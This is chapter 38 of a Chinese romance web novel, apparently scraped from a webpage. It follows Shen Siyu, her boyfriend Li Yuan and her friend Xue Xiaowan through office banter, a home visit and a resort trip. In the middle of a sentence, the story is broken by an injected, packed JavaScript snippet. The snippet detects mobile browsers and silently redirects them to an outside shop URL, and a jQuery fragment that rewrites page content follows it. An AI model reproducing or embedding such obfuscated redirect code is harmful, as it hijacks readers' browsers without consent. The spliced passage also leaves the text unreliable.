38. 第 38 章
作品:《瑕不掩瑜[破镜重圆]》 办公室只拉了一侧百叶窗,太阳透过另一侧落地窗照进室内,万里无云的晴天,光线太好,看什么都足够清楚。
沈思瑜刚接过吻的唇瓣在阳光下泛着亮亮的水光,不止如此,她还维持着刚刚摆餐盒摆到一半时的坐姿,没有坐进整个沙发里,身子微微前倾,灰粉色的正肩短袖衣摆往上滑,露出被紧身高腰牛仔裤包裹的细腰和圆翘的臀。
李渊问沈思瑜,知不知道她来之前他在想什么。
沈思瑜颇为认真地想了几秒,但很快又想到自己就没猜中过他的心思,所以放弃得很干脆,转而还偏过头望眼欲穿地看着他。
沈思瑜眼巴巴看他的样子实在太过可爱,李渊眉眼含笑,没想掩饰地直白道:“我在想,你今天会穿什么样的衣服,梳什么发型,涂什么口红。”
甚至还过分轻浮地想你衣服里面穿了什么样的内衣。
李渊大概能想到他这番话说出口,自己坐怀不乱的“柳下惠”形象,将永远不复存在,但他想让沈思瑜知道,想让她知道他也不过是个会对她痴心妄想的男人。
果然,听他这么一通话说完,沈思瑜还染着情欲的眼睛,一下子掺了更多情绪进去,惊讶与羞涩碰撞在一起,像一壶煮沸的红茶,咕嘟咕嘟冒着泡,模样生动极了。
沈思瑜看着眼前这个西装革履,对外冷漠凌厉的男人,没有想到这个问题的答案竟全是关于自己,并且还让人从中品出了一丝并不大正经的意味。
还没等她从巨大的震惊里反应过来,又听他接着说:“同一层楼里传遍了我的女朋友有多么漂亮,所以外面那些人都想多看看你。”
沈思瑜从小到大因外表,家世收获的目光不计其数,羡慕的、追捧的、嫉妒的……太多了,多到她早就不在意,能视若无睹、如履平地的从其中穿行而过。
她漂亮而自知,早就不会因公式化的、流于表面的称赞或恭维而产生波动,但现在她的胸腔发热,满心欢悦,就像第一次被夸奖的小女孩,想再多听一点眼前人的表白:“也包括你吗?”
李渊发觉,沈思瑜的敏感只对特定人群起效,她不关心其他人追随她的目光,现在却狡黠、敏感地捕捉到他话里深埋的自我投射,目光灼灼地看着他。
李渊看着那双盛满期许,如一汪清水般明净的眼眸,想起沈思瑜发烧那晚的坦诚,还有第二天她“受宠若惊”的敏感,忽然就慢条斯理地嗯了声,大剌剌地承认对沈思瑜的感情。
*
沈思瑜翻来覆去地品咂李渊那句“包括我”,整个人像掉进了蜜罐子似的,天天满面春风,有时候还抱着手机痴痴地笑。
晚上七点,太阳刚落入地平线,天边还挂着橙色余晖,沈思瑜正在厨房把提前泡完赤小豆和薏米的水倒掉,打算炖一锅祛湿的薏米粥。
刚把豆子倒进珐琅锅里炖上,外面的门铃就响了。
沈思瑜擦净手,去玄关给人打开楼下单元门禁,又把玄关的门给人留着就重新进了厨房。
薛晓婉第一次来这房子,上来看见半掩的门,也不见外,如入无人之境那样叮铃咣啷地进了门,高跟鞋和挎包都丢在玄关,苏格兰格纹装饰的长方形、正方形、圆形的铁盒倒是被她宝贝似地轻手轻脚放在厨房岛台上。
沈思瑜听见动静,放下手里的汤勺,刚转过身嘴里就被塞了一块浓郁醇香的黄油酥饼。
黄油的浓醇裹着麦芽的焦香,夹杂威士忌特有的风味,淡淡的甜,她尝出来这是斯佩塞德Aberlour那家本土限定沃克酥饼。
岛台上的盒子还有好几个没打开,薛晓婉迫不及待地也给自己捏了块儿放进嘴里,边吃边陶醉地眯眼。
薛晓婉是沃克的忠实粉丝,每回有朋友飞爱丁堡都要拜托人给自己带几盒本土才有的限定酥饼回来。
沈思瑜看着这一桌子“特产”,笑着打趣人:“你啊,也不怕给知雨累够呛。”
薛晓婉一副“您可别说我”的表情,用眼神朝餐桌指过去,憋笑憋得很辛苦:“虽然你没说,但知雨知道你喜欢喝麦卡伦30,还是特意给你带了几瓶。”
沈思瑜顺着薛晓婉的视线,看到餐桌上5瓶礼盒装的麦卡伦,也不由得失笑,这下她跟薛晓婉“半斤八两”,谁也没理由说谁。
沈思瑜走过去把餐桌上那几瓶麦卡伦收进酒柜里。
薛晓婉见人理亏得不吭声了,又浑笑着拿了一块曲奇进嘴:“我连家都没回就来给你送威士忌,倒是你,这个点怎么在云境公馆?”
沈思瑜笑笑不说话,抬手指指她身后的厨房,薛晓婉这才扭头看见燃气灶上开着火,火上一只盖着盖儿的石榴红珐琅锅。
掀开盖子,里面滚滚翻着花的豆子香气扑上来,枣红色的汤咕嘟着,薛晓婉有点见怪不怪道:“又煮红豆圆子粥啊?”
沈思瑜会煮红豆圆子粥不是件新鲜事儿,周寻走后那段时间,沈思瑜自己捣鼓得频繁,她跟知雨没少被拉着一起喝。
不过她俩又没吃过周寻煮的红豆圆子粥,所以沈思瑜煮的,不论是稠了、稀了、甜了、淡了、她俩都统一口径一律说好吃,想让沈思瑜赶紧“停手”,偏偏沈思瑜不满意,总说不是那个味,导致她跟知雨两个人那个暑假后的很长一段时间看见枣红色都影响食欲。
不过呢,有一说一,她还是挺喜欢里面Q弹软糯的圆子的,薛晓婉拿着汤勺在锅里搅了半天没见着一个圆子:“不对啊,怎么没有圆子?”
沈思瑜纠正道:“不是红豆圆子粥啦,是祛湿的赤小豆薏米粥。”
“里面的豆子不是红豆,是赤小豆。”
薛晓婉心想,管它什么豆呢,她们这群人十指不沾阳春水、“五谷不分”,分得清那些奢牌最新款就够了。
薛晓婉盖上珐琅锅盖,这才想起打量整个厨房,一抬头,橱柜上大大小小、花花绿绿的玻璃罐映入眼帘,上面清一色贴着各种杂粮、药材、香料的名称标签,薛晓婉这才猛地意识到什么:“感情你前些天说要学炖汤不是说着玩的啊!?”
沈思瑜十分坦诚地点点头,跟人说自己跟阿姨学习的成效。
薛晓婉看着沈思瑜指着那些瓶瓶罐罐,如数家珍,惊得下巴颏都掉了老长一段时间。
到最后也只能咬着曲奇来一句“爱情的力量真神奇”,然后毫不意外地被人推出厨房。
薛晓婉托着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333544|192755||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一铁盒,十分不见外地四处溜达,寻思好好看看沈思瑜跟李渊这“爱情小屋”。
薛晓婉没去二楼,就在一楼晃悠,一路晃到半敞的阳台,打眼就看见藤椅上卧着一团白绒绒的小家伙。
这毛色,这蓝眼睛,不是哈吉是谁,这小家伙听到动静转头看她一眼又舒舒服服闭着眼卧着。
薛晓婉放下酥饼盒,毫不客气地揉了把猫头,边摸边问旁边的人:“你怎么把哈吉带过来了?”
沈思瑜靠着玻璃门,看着那一团毛茸茸宠溺地笑笑:“比起大平层,我觉得哈吉好像更喜欢这儿。”
也是,比起撒欢,哈吉更多时间是粘着人,性格傲娇又机灵,这点倒跟沈思瑜挺像。梧桐山阙那大平层太大了,显得空,最主要的是没啥生活气息,阿姨天天打扫卫生,房子干净整齐得跟不住人的样板房似的。
虽然这套复式是比大平层小了点,但两个人住再加一只猫也刚刚好,尤其是她一路晃到阳台,期间看见很多很多沈思瑜幸福的证明。
比如客厅沙发上随意搭着的薄毯,成对儿的毛绒玩偶和抱枕,茶几上吃到一半的薯片和半杯冰气泡水,阳台上几本夹着书签的书,晾衣区的白衬衣和睡裙。
阳台上还种着一圈茉莉,经风一吹,连客厅里都飘着淡淡的茉莉香。
薛晓婉不知道两人平时怎么相处,但阳台的茉莉花每一株都开得很好,而她知道,沈思瑜当然不会天天有空来云境公馆照料这些花。
沈思瑜从出生到现在,乃至未来,都不会缺任何物质层面的东西,对她来说“有情饮水饱”,但亲情也好,爱情也罢,对沈思瑜来说都很奢侈,像这一满屋子倾注了感情的东西,无论在是君悦山庄还是梧桐山阙,都太过罕见。
而这里随随便便一个角落都能让人感觉到那种冒出来的幸福感,连沈思瑜去厨房盛薏米粥时,脸上都带笑,还轻轻哼着歌。
薛晓婉不得不承认,跟李渊在一起后的沈思瑜,是由内而外、发自内心的舒适开心。
也是在这一天,薛晓婉彻底放下了对李渊的成见。
*
8月初,热死人的三伏天,陵州南青云山上的度假村终于开门纳客,宣传到位加上本就是避暑胜地,所以云顶度假村刚营业对外开放,游客就特别多,主题酒店更是都被订得不剩几间。
这天赶上周末,“三人行”凑得齐,沈思瑜和薛晓婉还有林知雨同一辆车,车里连着蓝牙的车载连着响几通电话不带停。
歌刚切回来,就又来一通电话,薛晓婉接着电话气性挺大,里面一个男声开玩笑地喊了声薛大小姐,说:“你哥那度假村怎么24小时不到豪华套就没了啊,我过来玩,你那总统套房间那么多,给我留一间住呗?”
薛晓婉这会儿正烦着呢,也不管对面是谁就直接开涮:“早干嘛去了?现在啊晚了。”
“你要是真想过来玩,在山下随便哪定个酒店得了。”说完,也不管人反应直接挂了电话开勿扰模式。
周末的高速上,时不时堵一截儿,薛晓婉哼哼着跟俩人吐槽她早八百年前就给一圈朋友打过招呼,今天才打电话的都是些“贵人多忘事”的闲人。

